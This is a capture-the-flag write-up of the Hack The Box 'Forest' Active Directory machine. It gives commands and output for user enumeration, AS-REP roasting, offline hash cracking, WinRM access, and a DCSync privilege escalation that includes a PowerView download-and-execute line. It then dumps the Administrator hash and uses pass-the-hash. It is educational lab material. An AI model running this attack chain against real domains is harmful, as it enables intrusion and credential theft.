[HTB] Forest

The Forest machine has been created by egre55 and mrb3n. This is an easy Windows Machine with a strong focus on Active Directory exploitation. Here, some knowledge about AD and being able to read a Bloodhound graph should be enough to clear the box.

If you didn’t solve this challenge and just look for answers, first, you should take a look at this mind map from Orange Cyberdefense and try again. It could give you some hints about interesting attack paths when dealing with an Active Directory.


Note: All the actions performed against the target machine have been done with a standard Kali Linux machine. You can download Kali from the official website here.


In a penetration test or red team, reconnaissance consists of techniques that involve adversaries actively or passively gathering information that can be used to support targeting.

This information can then be leveraged by an adversary to aid in other phases of the adversary lifecycle, such as using gathered information to plan and execute initial access, to scope and prioritize post-compromise objectives, or to drive and lead further reconnaissance efforts. Here, our only piece of information is an IP address.

Scan with Nmap

Let’s start with a classic service scan with Nmap. Note the -sV switch which enables version detection and allows Nmap to check its internal database to try to determine the service protocol, application name and version number.

Note: Always allow a few minutes after the start of an HTB box to make sure that all the services are properly running. If you scan the machine right away, you may miss some ports that should be open.

$ nmap -sV 
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-14 15:50 EST
Nmap scan report for
Host is up (0.022s latency).
Not shown: 990 closed tcp ports (conn-refused)
88/tcp   open  kerberos-sec Microsoft Windows Kerberos (server time: 2022-02-14 20:57:56Z)
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds (workgroup: HTB)
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 38.82 seconds

Remember: By default, Nmap will scans the 1000 most common TCP ports on the targeted host(s). Make sure to read the documentation if you need to scan more ports or change default behaviors.

As we can see, the machine seems to be a domain controller for htb.local. We also have a few interesting open services including LDAP (389/TCP) and SMB (445/TCP).

Now, we need more information, like usernames. With usernames, we would be able to go further and executes attacks like brute force, password spraying, etc.


According to this Pentesting Cheatsheet, we could try to establish a null session using the rpcclient. This tool provides a some intersing command to execute remote procedure calls, including a way to enumerate some users.

Note: Microsoft Remote Procedure Call (MS-RPC) defines a powerful technology for creating distributed client/server programs. It is quite complex, but there are lots of documentation online if you want to dig a bit further.

As per the name, a null session does not require any username or password to get information about the remote host. So, let’s prepare the rpcclient command with no username (-U ""), no password (-N) and the command to run in order to enumerate domain users (-c enumdomusers).

$ rpcclient -U "" -N -c enumdomusers 
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[$331000-VK4ADACQNUCA] rid:[0x463]
user:[SM_2c8eef0a09b545acb] rid:[0x464]
user:[SM_ca8c2ed5bdab4dc9b] rid:[0x465]
user:[SM_75a538d3025e4db9a] rid:[0x466]
user:[SM_681f53d4942840e18] rid:[0x467]
user:[SM_1b41c9286325456bb] rid:[0x468]
user:[SM_9b69f1b9d2cc45549] rid:[0x469]
user:[SM_7c96b981967141ebb] rid:[0x46a]
user:[SM_c75ee099d0a64c91b] rid:[0x46b]
user:[SM_1ffab36a2f5f479cb] rid:[0x46c]
user:[HealthMailboxc3d7722] rid:[0x46e]
user:[HealthMailboxfc9daad] rid:[0x46f]
user:[HealthMailboxc0a90c9] rid:[0x470]
user:[HealthMailbox670628e] rid:[0x471]
user:[HealthMailbox968e74d] rid:[0x472]
user:[HealthMailbox6ded678] rid:[0x473]
user:[HealthMailbox83d6781] rid:[0x474]
user:[HealthMailboxfd87238] rid:[0x475]
user:[HealthMailboxb01ac64] rid:[0x476]
user:[HealthMailbox7108a4e] rid:[0x477]
user:[HealthMailbox0659cc1] rid:[0x478]
user:[sebastien] rid:[0x479]
user:[lucinda] rid:[0x47a]
user:[svc-alfresco] rid:[0x47b]
user:[andy] rid:[0x47e]
user:[mark] rid:[0x47f]
user:[santi] rid:[0x480]

Nice, it seems to be working. Note that, we have a few users starting with HealthMailbox and SM_ which are related to Microsoft Exchange and can be ignored here.

Another way to enumerate users would be with ldapsearch and the LDAP (TCP/389) port.

$ ldapsearch -x -b "dc=htb,dc=local" "*" -H ldap:// | grep userPrincipalName


userPrincipalName: sebastien@htb.local
userPrincipalName: santi@htb.local
userPrincipalName: lucinda@htb.local
userPrincipalName: andy@htb.local
userPrincipalName: mark@htb.local

ldapsearch is a really nice tool to open a connection to an LDAP server and performs targeted searches.

Initial Access

Now, we do have a list of valid usernames and we could perform different brute force attacks against these accounts. However, it could be time consuming and we don’t have any information about the domain’s password policy and lockout threshold. Let’s stay on the safe side for now, there is an attack called AS-REP Roasting which could be used against the users.


As a reminder, AS-REP roasting is a technique that allows retrieving password hashes for users that have the “Do not require Kerberos preauthentication” property selected. Indeed, if a user does not have Kerberos pre-authentication enabled, an AS-REP can be requested for that user, and part of the reply can be cracked offline to recover their plaintext password.

One of the best tools for the job would be impacket-GetNPUsers, which can list and get TGTs for the users that have the property set to UF_DONT_REQUIRE_PREAUTH, it should already be installed on Kali. Note that the user.txt file contains the list of the previously recovered account.

$ impacket-GetNPUsers htb.local/ -usersfile user.txt -dc-ip  
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[-] User sebastien doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User lucinda doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User andy doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User mark doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User santi doesn't have UF_DONT_REQUIRE_PREAUTH set

Nice, we have a hash for the svc-alfresco user. Now, we’ll try to crack it and see if we can get some kind of access to the remote computer.

Password Cracking

You just have to copy/paste the following hash in a file and try to crack it offline using the rockyou (or any other list) passwords list (if you are using Kali Linux, it should be present in the /usr/share/wordlists/ folder).


Here, we used John the Ripper to crack the password, but it can be done with other tools.

$ john hash.txt -w=/usr/share/wordlists/rockyou.txt 

Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
s3rvice          ($krb5asrep$23$svc-alfresco@HTB.LOCAL)     
1g 0:00:00:06 DONE (2022-02-04 13:50) 0.1600g/s 653721p/s 653721c/s 653721C/s s401447401447401447..s3r2s1
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

Great, we now have credentials for svc-alfresco (svc-alfresco:s3rvice). Note that if you do have hashcat installed, you can also try the following command: hashcat -m 18200 hash.txt /usr/share/wordlists/rockyou.txt.

Using another awesome tool, CrackMapExec, we can check if the user’s password is valid.

$ crackmapexec smb -u svc-alfresco -p s3rvice -d htb.local
SMB   445    FOREST           [*] Windows Server 2016 Standard 14393 x64 (name:FOREST) (domain:htb.local) (signing:True) (SMBv1:True)
SMB   445    FOREST           [+] htb.local\svc-alfresco:s3rvice 

Awesome, we have credentials for the svc-alfresco domain account (svc-alfresco:s3rvice).

WinRM Access

Now, instead of using the SMB (TCP/445) protocol with crackmapexec, let’s try to use WinRM (TCP/5985) and see if we have a remote access.

$ crackmapexec winrm -u svc-alfresco -p s3rvice -d htb.local
HTTP   5985    [*]
WINRM   5985    [+] htb.local\svc-alfresco:s3rvice (Pwn3d!)

As we can see the svc-alfresco can PS-Remote to forest.htb.local. PS-Remote means we can use WinRM, a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP, to remotely administer the machine from PowerShell.

Note: The WinRM ports (5985/TCP and 5986/TCP) didn’t show up while scanning the machine, but they are actually open. Again, this is due to the fact that, by default, Nmap only scans the 1000 most common TCP ports and WinRM ports are probably not part of them.

From a Linux machine, we can use Evil-WinRM, a Ruby tool that implements Microsoft WS-Management Protocol, and the recovered account to connect to the remote machine.

$ evil-winrm -i -u svc-alfresco  -p s3rvice 
Evil-WinRM shell v3.3
Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> dir ../Desktop

    Directory: C:\Users\svc-alfresco\Desktop

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---         2/4/2022   9:24 AM             34 user.txt

Nice, we have a remote shell access and the first flag.

Privilege Escalation

According to the MITRE, Privilege Escalation consists of techniques that adversaries use to gain higher-level permission on a system or network. Adversaries can often enter and explore a network with unprivileged access but require elevated permission to follow through on their objectives. Common approaches are to take advantage of system weaknesses, misconfigurations, and vulnerabilities.

Let’s start with Active Directory reconnaissance to see if we can find an attack path.

Active Directory Recon

With a valid account, we can now use one of the BloodHound ingestors and gather more information about the Active Directory. BloodHound uses graph theory to reveal the hidden and often unintended relationships within an Active Directory or Azure environment.

Attackers can use BloodHound to easily identify highly complex attack paths that would otherwise be impossible to quickly identify. Here, we used a Python based ingestor for BloodHound, BloodHound.py.

$ bloodhound-python -c All -u svc-alfresco -p s3rvice -d htb.local -ns --zip
INFO: Found AD domain: htb.local
INFO: Connecting to LDAP server: FOREST.htb.local
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 2 computers
INFO: Connecting to LDAP server: FOREST.htb.local
WARNING: Could not resolve SID: S-1-5-21-3072663084-364016917-1341370565-1153
INFO: Found 31 users
INFO: Found 75 groups
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: EXCH01.htb.local
INFO: Querying computer: FOREST.htb.local
INFO: Done in 00M 09S
INFO: Compressing output into 20220204141002_bloodhound.zip

Now, you can import the generated file (20220204141002_bloodhound.zip) in BloodHound by running sudo neo4j start, then execute BloodHound in another terminal with the bloodhound command.

Getting Administrator Privileges

It’s time to elevate our privileges and get an administrator access. Back to BloodHound, we can see that our user, svc-alfresco, is a member of the “Account Operators” group which has GenericAll permission on the “Exchange Windows Permissions” group.

With GenericAll permission, we have full rights to the targeted object (add users to a group, reset user’s password, etc.) and we can abuse this weak permission.


Moreover, the “Exchange Windows Permissions” does have WriteDACL permission on the Domain (htb.local). It means that if we create a user and add it to the “Exchange Windows Permissions” group, we could give him DCSync access rights and dump domain controller password hashes.

So, we have four (4) things to do :

  • Create a user
  • Add it to the “Exchange Windows Permission”s group
  • Add it to the “Remote Management Users” group (to have remote access rights)
  • Abuse weak permission on DACLs to get DCSync rights

First, the user and groups attribution.

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net user ax Qwerty1! /add /domain
The command completed successfully.

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net group "Exchange Windows Permissions" ax /add
The command completed successfully.

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net localgroup "Remote Management Users" ax /add
The command completed successfully.

Seems good, let’s check if the new user is working.

$ crackmapexec smb -u ax -p 'Qwerty1!' -d htb.local
SMB   445    FOREST           [*] Windows Server 2016 Standard 14393 x64 (name:FOREST) (domain:htb.local) (signing:True) (SMBv1:True)
SMB   445    FOREST           [+] htb.local\ax:Qwerty1! 

Perfect! Now, to abuse the DACL, we used a well-known PowerShell that aims to gain network situational awareness on Windows domains, PowerView. Note that we used the local Apache service on Kali to host the file and download it from the remote machine.

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> (New-Object System.Net.WebClient).DownloadString('http://10.10.14.xx/PowerView.ps1') | IEX
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> $SecPass = ConvertTo-SecureString 'Qwerty1!' -AsPlainText -Force
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> $Cred = New-Object System.Management.Automation.PSCredential('htb.local\ax', $SecPass)
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> Add-ObjectACL -PrincipalIdentity ax -Credential $Cred -Rights DCSync

Now that ax have DCSync permission, we should be able to dump users hashes from the domain controller.

Dump the Administrator Hash

Here, we used impacket-secretsdump, another tool from the Impacket suite to dump the Administrator password.

Note the -just-dc-user switch that extract only NTDS.DIT data for the user specified and the just-dc-ntlm that extract only NTDS.DIT data (NTLM hashes only).

$ impacket-secretsdump htb.local/ax@ -just-dc-user Administrator -just-dc-ntlm
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
[*] Cleaning up... 

Then, we can use this NTLM hash with crackmapexec to perform a Pass the Hash attack and read the second flag from the domain controller.

Note that Pass the hash (or PtH) is a method of authenticating as a user without having access to the user’s cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash.

$ crackmapexec smb -u Administrator -H 32693b11e6aa90eb43d32c72a07ceea6 -d htb.local -x "dir C:\Users\Administrator\Desktop" 
SMB   445    FOREST           [*] Windows Server 2016 Standard 14393 x64 (name:FOREST) (domain:htb.local) (signing:True) (SMBv1:True)
SMB   445    FOREST           [+] htb.local\Administrator:32693b11e6aa90eb43d32c72a07ceea6 (Pwn3d!)
SMB   445    FOREST           [+] Executed command 
SMB   445    FOREST           Volume in drive C has no label.
SMB   445    FOREST           Volume Serial Number is 61F2-A88F
SMB   445    FOREST           
SMB   445    FOREST           Directory of C:\Users\Administrator\Desktop
SMB   445    FOREST           
SMB   445    FOREST           09/23/2019  01:15 PM    <DIR>          .
SMB   445    FOREST           09/23/2019  01:15 PM    <DIR>          ..
SMB   445    FOREST           02/04/2022  09:24 AM                34 root.txt
SMB   445    FOREST           1 File(s)             34 bytes
SMB   445    FOREST           2 Dir(s)  10,443,857,920 bytes free

Awesome! I hope you enjoyed it, I know I did :)